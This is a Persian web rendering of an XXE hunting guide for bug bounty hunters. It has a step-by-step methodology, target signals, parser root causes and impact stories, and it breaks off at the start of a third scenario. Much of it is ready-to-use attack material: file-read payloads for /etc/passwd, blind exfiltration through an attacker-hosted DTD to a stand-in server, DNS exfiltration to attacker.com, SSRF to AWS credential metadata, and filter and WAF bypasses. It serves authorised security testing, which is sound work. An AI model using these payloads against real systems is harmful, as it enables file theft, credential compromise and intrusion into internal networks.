hunt-xxe

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۰۲۳ کیلوبایت۱۱ بخش

اسکیل شکار برای آسیب‌پذیری‌های XXE. ساخته‌شده از ۱۰ گزارش عمومی باگ‌بانتی شامل XXE مربوط به SVG-upload، XXE مربوط به سند Office ‏(PPTX/DOCX)، XXE مربوط به SOAP، XXE مربوط به SAML AssertionConsumer، XXE کور OOB از طریق callback مربوط به DTD، XXE مربوط به parameter-entity، XXE-به-LFI و XXE-به-SSRF.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for xxe vulnerabilities. Built from 10 public bug bounty reports including SVG-upload XXE, Office-doc (PPTX/DOCX) XXE, SOAP XXE, SAML AssertionConsumer XXE, blind OOB XXE via DTD callback, parameter-entity XXE, XXE-to-LFI, XXE-to-SSRF, and XXE-to-RCE chains (Adobe Commerce CosmicSting CVE-2024-34102). Use when hunting XXE on any target — emphasis on OOB-Or-It-Didn't-Happen Gate for blind cases.

فلوی اجرای گام‌به‌گام

◆
hunt-xxeشروع اجرا
۱
‏هر نقطه‌ی ورود XML را نقشه کن — از passive scanner مربوط به Burp Suite برای فلگ‌کردن همه‌ی درخواست/پاسخ‌ها با content typeهای XML استفاده کن. endpointهای JSON را هم intercept کن و دستی `Content-Type` را به `application/xml` با بدنه‌ی XML معادل عوض کن.
۲
‏فیچرهای آپلود فایل را شناسایی کن — SVG، DOCX و XLSX آپلود کن و ببین آیا سرور محتوا را پردازش/رندر می‌کند. این‌ها اغلب زیر کاپوت XML هستند.
۳
‏‏XXE درون‌خطی را امتحان کن ‏(خواندن فایل کلاسیک) — بدنه‌ی XML را با payload تست entity پایه هدف‌گرفته به `/etc/passwd` یا `C:\Windows\win.ini` جایگزین کن. ببین آیا مقدار در پاسخ بازتاب می‌شود.
۴
‏اگر بازتاب نبود، به OOB کور pivot کن — لیسنر OOB بساز ‏(Burp Collaborator، interactsh یا سرور netcat خودمیزبان). entity خارجی که به callback URL تو اشاره می‌کند تزریق کن. hit مربوط به DNS/HTTP را برای اعتبارسنجی اتصال خروجی parser تأیید کن.
۵
‏OOB کور را به استخراج فایل تشدید کن — از payload دو-مرحله‌ای استفاده کن: entity اول فایل محلی را لود می‌کند، entity دوم آن را از طریق پارامتر HTTP یا استخراج DNS به OOB می‌فرستد.
۶
‏pivot مربوط به SSRF را تست کن — entity خارجی را به آدرس‌های شبکه‌ی داخلی بزن (`http://169.254.169.254/latest/meta-data/`، `http://10.0.0.1/`، `http://localhost:8080/admin`). دنبال تفاوت در زمان‌بندی پاسخ یا پیام‌های خطا بگرد.
۷
‏همه‌ی ساب‌دامین‌های share‌کننده‌ی همان بک‌اند را تست کن — اگر یک ساب‌دامین آسیب‌پذیر است، بقیه را سیستماتیک enumerate و تست کن. زیرساخت بک‌اند مشترک یعنی آسیب‌پذیری مشترک.
۸
‏تزریق سطح-پارامتر را تست کن — بعضی endpointها فقط گره‌های خاص XML را parse می‌کنند. entityها را به هر مقدار عنصر، مقدار attribute و حتی نام عنصر تزریق کن.
۹
‏استخراج error-based را تست کن — اگر OOB بلاک است، خطاهای parsing مربوط به XML را trigger کن که محتوای فایل را در پیام خطای برگشتی به کلاینت شامل شوند.
۱۰
‏زنجیره‌ی کامل impact را مستند کن — دمو کن: خواندن فایل ← SSRF ← دسترسی سرویس داخلی ← یادداشت کن کدام دامنه‌ها/IPهای داخلی reachable‌اند.
۱۱
‏مهاجم الان می‌تواند چه کار کند؟
۱۲
‏قربانی چه چیزی را از دست می‌دهد؟
۱۳
‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-xxeکلاس آسیب‌پذیری · ۱۱ بخش۱اهداف ارزشمند۲سطح حمله و سیگنال‌ها۳مراحل شکار۴Payload و الگوهای تشخیص۵علل ریشه‌ای۶تکنیک‌های Bypass۷بخش تکمیلی۸دروازه‌ی اعتبارسنجی۹اهداف ارزشمند۱۰نمونه‌های واقعی و impact۱۱دروازه‌ی اعتبارسنجی
اهداف ارزشمند · ۳سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱بخش تکمیلی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏XXE آسیب‌پذیری شدت-بحرانی است که به‌خاطر مسیر مستقیم به استخراج داده‌ی حساس و SSRF پیوسته بالای مقیاس‌های باگ‌بانتی پرداخت می‌کند ‏(۵٬۰۰۰ تا بیش از ۳۰٬۰۰۰ دلار). تارگت‌های باارزش‌ترین:

  • ‏پلتفرم‌های سازمانی بزرگ با یکپارچه‌سازی‌های بک‌اند XML-محور ‏(APIهای مالی، لجستیک، ride-sharing)
  • ‏دامنه‌هایی با قابلیت خواندن فایل — /etc/passwd، /etc/shadow، فایل‌های کانفیگ داخلی، endpointهای متادیتای AWS
  • ‏ساب‌دامین‌های share‌کننده‌ی زیرساخت بک‌اند — یک endpoint مربوط به XXE می‌تواند به سرویس‌های داخلی در ده‌ها دامنه pivot کند (همان‌طور که ۲۶+ دامنه‌ی Uber از طریق یک نقطه‌ی ورود تکی دمو شد)
  • ‏گیت‌وی‌های API که content typeهای XML قبول می‌کنند — مخصوصاً APIهای REST که بی‌صدا Content-Type: application/xml قبول می‌کنند
  • ‏فیچرهای آپلود فایل — parserهای SVG، DOCX، XLSX، PDF، PPTX سمت سرور
  • ‏endpointهای SAML/SSO — assertionهای SAML XML-محورند و غالباً آسیب‌پذیر
  • ‏سرویس‌های پردازش Office/سند — هر فیچری که اسناد user-supplied را تبدیل یا پردازش کند
۲

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL
/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)
هدرهای Request/Response
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data  ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)
الگوهای JavaScript ‏(recon مربوط به سورس)
// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxml
سیگنال‌های Tech Stack
  • ‏پشته‌های Java: Spring، Struts، JAX-WS — parserهای پیش‌فرض XML ‏(SAX، DOM) بدون سخت‌سازی صریح XXE-آسیب‌پذیرند
  • ‏‏PHP: simplexml_load_string()، DOMDocument::loadXML() — پیش‌فرض آسیب‌پذیر قبل از PHP 8
  • ‏‏Python: lxml، xml.etree ‏(پیش‌فرض امن)، xml.sax ‏(ناامن)
  • ‏‏Ruby: Nokogiri نسخه‌های قدیمی‌تر، REXML
  • ‏‏Node.js: xml2js، libxmljs، fast-xml-parser ‏(نسخه‌های قدیمی‌تر)
  • ‏سرویس‌های WSDL/SOAP: همیشه تست کن — parsing مربوط به XML قدیمی تقریباً تضمینی
  • ‏parserهای فایل: Apache POI ‏(Java)، python-docx، یکپارچه‌سازی‌های LibreOffice
۳

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏هر نقطه‌ی ورود XML را نقشه کن — از passive scanner مربوط به Burp Suite برای فلگ‌کردن همه‌ی درخواست/پاسخ‌ها با content typeهای XML استفاده کن. endpointهای JSON را هم intercept کن و دستی Content-Type را به application/xml با بدنه‌ی XML معادل عوض کن.
  1. ‏فیچرهای آپلود فایل را شناسایی کن — SVG، DOCX و XLSX آپلود کن و ببین آیا سرور محتوا را پردازش/رندر می‌کند. این‌ها اغلب زیر کاپوت XML هستند.
  1. ‏‏XXE درون‌خطی را امتحان کن ‏(خواندن فایل کلاسیک) — بدنه‌ی XML را با payload تست entity پایه هدف‌گرفته به /etc/passwd یا C:\Windows\win.ini جایگزین کن. ببین آیا مقدار در پاسخ بازتاب می‌شود.
  1. ‏اگر بازتاب نبود، به OOB کور pivot کن — لیسنر OOB بساز ‏(Burp Collaborator، interactsh یا سرور netcat خودمیزبان). entity خارجی که به callback URL تو اشاره می‌کند تزریق کن. hit مربوط به DNS/HTTP را برای اعتبارسنجی اتصال خروجی parser تأیید کن.
  1. ‏OOB کور را به استخراج فایل تشدید کن — از payload دو-مرحله‌ای استفاده کن: entity اول فایل محلی را لود می‌کند، entity دوم آن را از طریق پارامتر HTTP یا استخراج DNS به OOB می‌فرستد.
  1. ‏pivot مربوط به SSRF را تست کن — entity خارجی را به آدرس‌های شبکه‌ی داخلی بزن (http://169.254.169.254/latest/meta-data/، http://10.0.0.1/، http://localhost:8080/admin). دنبال تفاوت در زمان‌بندی پاسخ یا پیام‌های خطا بگرد.
  1. ‏همه‌ی ساب‌دامین‌های share‌کننده‌ی همان بک‌اند را تست کن — اگر یک ساب‌دامین آسیب‌پذیر است، بقیه را سیستماتیک enumerate و تست کن. زیرساخت بک‌اند مشترک یعنی آسیب‌پذیری مشترک.
  1. ‏تزریق سطح-پارامتر را تست کن — بعضی endpointها فقط گره‌های خاص XML را parse می‌کنند. entityها را به هر مقدار عنصر، مقدار attribute و حتی نام عنصر تزریق کن.
  1. ‏استخراج error-based را تست کن — اگر OOB بلاک است، خطاهای parsing مربوط به XML را trigger کن که محتوای فایل را در پیام خطای برگشتی به کلاینت شامل شوند.
  1. ‏زنجیره‌ی کامل impact را مستند کن — دمو کن: خواندن فایل ← SSRF ← دسترسی سرویس داخلی ← یادداشت کن کدام دامنه‌ها/IPهای داخلی reachable‌اند.
مراحل استخراج‌شده
  1. ۱‏هر نقطه‌ی ورود XML را نقشه کن — از passive scanner مربوط به Burp Suite برای فلگ‌کردن همه‌ی درخواست/پاسخ‌ها با content typeهای XML استفاده کن. endpointهای JSON را هم intercept کن و دستی `Content-Type` را به `application/xml` با بدنه‌ی XML معادل عوض کن.
  2. ۲‏فیچرهای آپلود فایل را شناسایی کن — SVG، DOCX و XLSX آپلود کن و ببین آیا سرور محتوا را پردازش/رندر می‌کند. این‌ها اغلب زیر کاپوت XML هستند.
  3. ۳‏‏XXE درون‌خطی را امتحان کن ‏(خواندن فایل کلاسیک) — بدنه‌ی XML را با payload تست entity پایه هدف‌گرفته به `/etc/passwd` یا `C:\Windows\win.ini` جایگزین کن. ببین آیا مقدار در پاسخ بازتاب می‌شود.
  4. ۴‏اگر بازتاب نبود، به OOB کور pivot کن — لیسنر OOB بساز ‏(Burp Collaborator، interactsh یا سرور netcat خودمیزبان). entity خارجی که به callback URL تو اشاره می‌کند تزریق کن. hit مربوط به DNS/HTTP را برای اعتبارسنجی اتصال خروجی parser تأیید کن.
  5. ۵‏OOB کور را به استخراج فایل تشدید کن — از payload دو-مرحله‌ای استفاده کن: entity اول فایل محلی را لود می‌کند، entity دوم آن را از طریق پارامتر HTTP یا استخراج DNS به OOB می‌فرستد.
  6. ۶‏pivot مربوط به SSRF را تست کن — entity خارجی را به آدرس‌های شبکه‌ی داخلی بزن (`http://169.254.169.254/latest/meta-data/`، `http://10.0.0.1/`، `http://localhost:8080/admin`). دنبال تفاوت در زمان‌بندی پاسخ یا پیام‌های خطا بگرد.
  7. ۷‏همه‌ی ساب‌دامین‌های share‌کننده‌ی همان بک‌اند را تست کن — اگر یک ساب‌دامین آسیب‌پذیر است، بقیه را سیستماتیک enumerate و تست کن. زیرساخت بک‌اند مشترک یعنی آسیب‌پذیری مشترک.
  8. ۸‏تزریق سطح-پارامتر را تست کن — بعضی endpointها فقط گره‌های خاص XML را parse می‌کنند. entityها را به هر مقدار عنصر، مقدار attribute و حتی نام عنصر تزریق کن.
  9. ۹‏استخراج error-based را تست کن — اگر OOB بلاک است، خطاهای parsing مربوط به XML را trigger کن که محتوای فایل را در پیام خطای برگشتی به کلاینت شامل شوند.
  10. ۱۰‏زنجیره‌ی کامل impact را مستند کن — دمو کن: خواندن فایل ← SSRF ← دسترسی سرویس داخلی ← یادداشت کن کدام دامنه‌ها/IPهای داخلی reachable‌اند.
۴

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

استخراج error-based از طریق repurpose مربوط به DTD محلی ‏(صفر egress شبکه)

‏وقتی هر دو خروجی file:// و fetch مربوط به DTD خارجی بلاک‌اند، به DTDی که روی دیسک هست ارجاع بده و یکی از entityهای داخلی‌اش را بازتعریف کن تا محتوای فایل هدف در خطای parse نشت کند:

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err SYSTEM &#x27;file:///nonexist/%file;&#x27;>">
    %eval; %err;'>
  %local_dtd; ]>

‏به صفر egress شبکه نیاز دارد. مسیرهای DTD محلی به‌ازای هر distro متفاوت‌اند ‏(yelp/docbookx رایج است) — enumerate کن. ‏(PortSwigger: XXE با repurpose مربوط به DTD محلی.)

خواندن فایل درون‌باند کلاسیک
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
معادل Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>
OOB کور — callback مربوط به DNS/HTTP
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>
OOB کور — استخراج فایل از طریق Parameter Entity ‏(دو مرحله‌ای)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
  %dtd;
]>
<root><data>trigger</data></root>

‏evil.dtd ‏(هاست‌شده روی سرور مهاجم):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;
SSRF از طریق XXE ‏(متادیتای AWS)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>
XXE مربوط به SVG ‏(برای endpointهای آپلود فایل)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="14" x="0" y="16">&xxe;</text>
</svg>
XXE مربوط به DOCX/XLSX — تزریق به `[Content_Types].xml` یا `word/document.xml`
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>
تعویض Content-Type ‏(JSON به XML)
# Original JSON request
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"user":"test"}'

# Converted to XML for XXE testing
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
الگوهای grep برای بازبینی کد منبع
# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .

# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .

# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .
۵

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏کانفیگ‌های پیش‌فرض parser — DocumentBuilderFactory مربوط به Java، DOMDocument مربوط به PHP و lxml مربوط به Python همه به‌پیش‌فرض entityهای خارجی را پشتیبانی می‌کنند. توسعه‌دهندگان بدون خواندن مستندات امنیتی استفاده‌شان می‌کنند.
  1. ‏ارتقای framework بدون بازبینی مجدد امنیت — نسخه‌های قدیمی‌تر Spring، Struts و frameworkهای مشابه XXE را به‌پیش‌فرض فعال کرده بودند؛ توسعه‌دهندگان مدیریت XML را وقتی کتابخانه‌ها عوض شدند دوباره audit نکردند.
  1. ‏مصرف XML پنهان — توسعه‌دهندگان در لایه‌ی API مقدار JSON قبول می‌کنند ولی داخلیاً به XML تبدیل می‌کنند، یا از کتابخانه‌هایی (Apache POI، python-docx) برای پردازش آپلودها استفاده می‌کنند بدون فهمیدن اینکه آن فرمت‌ها کانتینر XML هستند.
  1. ‏کپی‌پیست کد از StackOverflow — مثال‌های parsing مربوط به XML آنلاین به‌ندرت غیرفعال‌کردن entity را دارند. توسعه‌دهندگان مثال‌های کارکننده مینیمال را مستقیم به production کپی می‌کنند.
  1. ‏پیکربندی‌غلط کتابخانه‌ی SAML/SSO — یکپارچه‌سازی‌های SSO اغلب parsing مربوط به XML را به کتابخانه‌های third-party با XXE فعال تفویض می‌کنند؛ توسعه‌دهندگان فرض می‌کنند «کتابخانه امنیت را handle می‌کند».
  1. ‏شکاف‌های تست روی content typeهای غیراصلی — QA مقدار APIهای JSON را به‌گستردگی تست می‌کند؛ مسیرهای کد XML تست امنیتی حداقلی می‌گیرند چون ثانویه یا legacy هستند.
  1. ‏پیام‌رسانی XML میکروسرویسی — ارتباط سرویس-به-سرویس داخلی از XML استفاده می‌کند ‏(SOAP، schemaهای سفارشی) و به‌عنوان «داخلی مورداعتماد» تلقی می‌شود و بازبینی امنیتی را دور می‌زند.
۶

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

دفاع: blacklist کلیدواژه ‏(`ENTITY`، `DOCTYPE`، `SYSTEM`)
<!-- Case variation -->
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>

<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)

<!-- Parameter entity instead of general entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>
دفاع: fetch مربوط به entity خارجی غیرفعال ‏(file:// بلاک)
<!-- Try alternative URI schemes -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">       <!-- Java -->
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/">   <!-- Java -->
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">
دفاع: WAF که الگوهای XXE را بلاک می‌کند
<!-- Chunked transfer encoding to bypass WAF inspection -->
Transfer-Encoding: chunked

<!-- HTTP request splitting with XML payload spread across chunks -->

<!-- Use XML comments to break signatures -->
<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

<!-- Nested encoding -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;:///etc/passwd">]>
دفاع: فیلتر egress شبکه ‏(OOB بلاک)
<!-- DNS-only exfiltration (port 53 often allowed) -->
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">

<!-- Error-based exfiltration (no outbound needed) -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
  %eval; %error;
]>
دفاع: اعتبارسنجی Content-Type
# Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
# Or simply omit Content-Type and let the server sniff
دفاع: محدودیت طول ورودی
<!-- Use billion laughs to test parser limits, and use short file paths -->
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;">
]>
<!-- Escalate to demonstrate DoS if XXE file-read is patched -->
۷

بخش تکمیلی

Parser-ecosystem vulnerability matrix
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏payloadهای کلاسیک XXE ‏(<!ENTITY xxe SYSTEM "file://...">) در ۲۰۲۶ دیگر universally قابل‌اکسپلویت نیستند. اکثر اکوسیستم‌های زبان اصلی parserهای پیش‌فرض XML خود را از ۲۰۱۸-۲۰۲۴ سخت کرده‌اند. پشته‌ی تارگت را قبل از سرمایه‌گذاری وقت روی XXE اثراث انگشت کن — گاهی parser از قبل امن است و کلاس باگ اعمال نمی‌شود.

اکوسیستم / parserرفتار پیش‌فرض روی entity مربوط به SYSTEMبه‌پیش‌فرض آسیب‌پذیر؟
Java SAX / DOM ‏(XMLInputFactory بدون غیرفعال‌کردن entityهای خارجی)file:// مربوط به SYSTEM را expand می‌کندبله
Java JAXB / JAX-WS ‏(نسخه‌های قدیمی‌تر Spring)expand می‌کندبله
PHP DOMDocument با پرچم LIBXML_NOENTSYSTEM را expand می‌کندبله
PHP simplexml_load_* با LIBXML_NOENTexpand می‌کندبله
.NET XmlDocument با XmlResolver صریحاً ست‌شدهexpand می‌کندبله
.NET XmlReader با DtdProcessing=Parse + XmlResolver صریحاً ست‌شدهexpand می‌کندبله ‏(پیش‌فرض از .NET 4.5.2 مقدار DtdProcessing.Prohibit است که روی هر DOCTYPE خطا می‌دهد — پیش‌فرض مدرن امن است)
Python xml.etree.ElementTree نسخه‌ی ≥ ۳.۷.۱SYSTEM غیرفعالنه
Python lxml ‏(تأییدشده ۶.x؛ احتمالاً ≥ ۵.x)محتوای فایل SYSTEM را حتی با resolve_entities=True drop می‌کند؛ شاید هنوز fetchهای شبکه بزند وقتی no_network=Falseنه برای خواندن فایل ‏(محلیاً روی ۶.۱.۰ تأیید شد — docs/verification/phase2g-saml-mfa-xxe.md را ببین)
Python xml.dom.minidomپیش‌فرض امن در نسخه‌های فعلینه
Python defusedxml.lxmlغیرفعالنه
Ruby Nokogiri پیش‌فرضغیرفعالنه
Ruby Nokogiri با Nokogiri::XML::ParseOptions::DTDLOADexpand می‌کندبله
Apache Struts ‏(قدیمی‌تر)اغلب expand می‌کندبله
پردازشگرهای XML مربوط به IoT / صنعتی embedded ‏(firmware)غالباً آسیب‌پذیربله
پردازشگرهای OOXML مربوط به Microsoft Office که محتوای کاربر را دوباره parse می‌کننددر بعضی مسیرهای legacy آسیب‌پذیربله

‏سیگنال‌های fingerprint برای جستجو:

  • ‏Server: Apache Tomcat، X-Powered-By: Servlet ← بک‌اند Java ← احتمالاً بله
  • ‏X-Powered-By: PHP/... + endpointی که XML دریافت می‌کند ← احتمالاً بله اگر اپ از DOMDocument استفاده کند
  • ‏Server: Microsoft-IIS با .aspx و SOAP مربوط به XML ← احتمالاً بله روی کد legacy
  • ‏سرور چیز قابل‌شناسایی نمی‌گوید + endpoint مقدار XML قبول می‌کند ← اول با &hello; probe کن؛ اگر entity درون‌خطی expand شد، به SYSTEM تشدید کن. اگر entity درون‌خطی هم expand نشد، parser شاید سخت شده — pivot کن.

‏گیت Pre-Severity: قبل از ادعای XXE روی endpoint نامزد، probe مربوط به entity درون‌خطی را اجرا کن (<!ENTITY hello "world!"> بعد &hello; در یک گره). اگر hello! echo نشد، expand مربوط به entity سطح-parser غیرفعال است و file:// مربوط به SYSTEM هم کار نمی‌کند. روی parser سخت‌شده چرخه هدر نده.

۸

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏قبل از نوشتن گزارش، به هر سه جواب بده:

  1. ‏مهاجم الان می‌تواند چه کار کند؟
  • ‏می‌توانی محتوای /etc/passwd یا win.ini را در پاسخ نشان دهی؟ یا callback مربوط به OOB تأییدشده با محتوای فایل منتقل‌شده به سرورت را دمو کنی؟ یا به endpoint مربوط به SSRF داخلی ‏(متادیتا، admin داخلی) برسی؟
  1. ‏قربانی چه چیزی را از دست می‌دهد؟
  • ‏داده‌ی حساس مشخص باید شناسایی شود: credentialهای داخلی، کلیدهای IAM مربوط به AWS، فایل‌های کانفیگ اپ با پسوردهای DB، PII یا توپولوژی شبکه‌ی داخلی. «parser درخواست DNS زد» به‌تنهایی کافی نیست — برای نشان‌دادن افشای داده‌ی واقعی یا دسترسی داخلی تشدید کن.
  1. ‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
  • ‏باید یک دستور curl تکی یا درخواست Burp repeater داشته باشی که مهندس triage بتواند علیه تارگت زنده اجرا کند و impact را در ۱۰ دقیقه ببیند، با صفر ابهام درباره‌ی پارامتر و endpoint آسیب‌پذیر.
مراحل استخراج‌شده
  1. ۱‏مهاجم الان می‌تواند چه کار کند؟
  2. ۲‏می‌توانی محتوای `/etc/passwd` یا `win.ini` را در پاسخ نشان دهی؟ یا callback مربوط به OOB تأییدشده با محتوای فایل منتقل‌شده به سرورت را دمو کنی؟ یا به endpoint مربوط به SSRF داخلی ‏(متادیتا، admin داخلی) برسی؟
  3. ۳‏قربانی چه چیزی را از دست می‌دهد؟
  4. ۴‏داده‌ی حساس مشخص باید شناسایی شود: credentialهای داخلی، کلیدهای IAM مربوط به AWS، فایل‌های کانفیگ اپ با پسوردهای DB، PII یا توپولوژی شبکه‌ی داخلی. «parser درخواست DNS زد» به‌تنهایی کافی نیست — برای نشان‌دادن افشای داده‌ی واقعی یا دسترسی داخلی تشدید کن.
  5. ۵‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
  6. ۶‏باید یک دستور `curl` تکی یا درخواست Burp repeater داشته باشی که مهندس triage بتواند علیه تارگت زنده اجرا کند و impact را در ۱۰ دقیقه ببیند، با صفر ابهام درباره‌ی پارامتر و endpoint آسیب‌پذیر.
۹

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریو A: یک endpoint ← ۲۶ دامنه تصاحب‌شده ‏(مقیاس Uber)

‏یک تستر endpoint مربوط به parsing مربوط به XML را روی یک ساب‌دامین Uber کشف کرد. بک‌اند XML را با parser آسیب‌پذیر پردازش می‌کرد، و سرور درخواست‌های HTTP خروجی به زیرساخت تحت‌کنترل مهاجم می‌زد ‏(OOB کور). چون سرویس آسیب‌پذیر پردازش XML یک میکروسرویس داخلی مشترک بود، همان آسیب‌پذیری از طریق ۲۶+ دامنه‌ی رو-به-عموم مختلف — همه با بک‌اند مشترک — reachable بود. یک payload تکی می‌توانست /etc/passwd، فایل‌های کانفیگ داخلی را بخواند و به endpointهای متادیتای AWS برسد، عملاً به credentialهای قابل‌استفاده‌ی‌مجدد در کل زیرساخت دسترسی می‌داد.

‏اثر تجاری: تصاحب کامل سرویس داخلی در اکثریت ناوگان دامنه‌ی production؛ پتانسیل سرقت credential و lateral movement.

سناریو B: آپلود سند ← خواندن فایل محلی روی پلتفرم مقیاس-Twitter

‏مهاجم سند XML-محور دستکاری‌شده‌ای (مثلاً SVG یا فرمت Office) به فیچر پردازش سند روی یک پلتفرم اجتماعی بزرگ آپلود کرد. parser سمت‌سرور DTD جاسازی‌شده و ارجاع‌های entity خارجی را پردازش کرد و محتوای فایل محلی را در خروجی parse‌شده یا پیام‌های خطا برگرداند. مهاجم می‌توانست فایل‌های کانفیگ اپ حاوی connection stringهای دیتابیس، کلیدهای API داخلی و احتمالاً داده‌ی خصوصی کاربر ذخیره‌شده روی همان filesystem را بخواند.

‏اثر تجاری: افشای secretهای production ‏(credentialهای دیتابیس، کلیدهای API) از طریق فیچر درنظرگرفته‌شده برای آپلودهای بی‌ضرر فایل؛ بدون نیاز به دورزدن احراز هویت فراتر از اکانت کاربر استاندارد.

سناریو C: API مربوط به JSON ← parser مربوط به XML پنهان ← SSRF به سرویس‌های داخلی

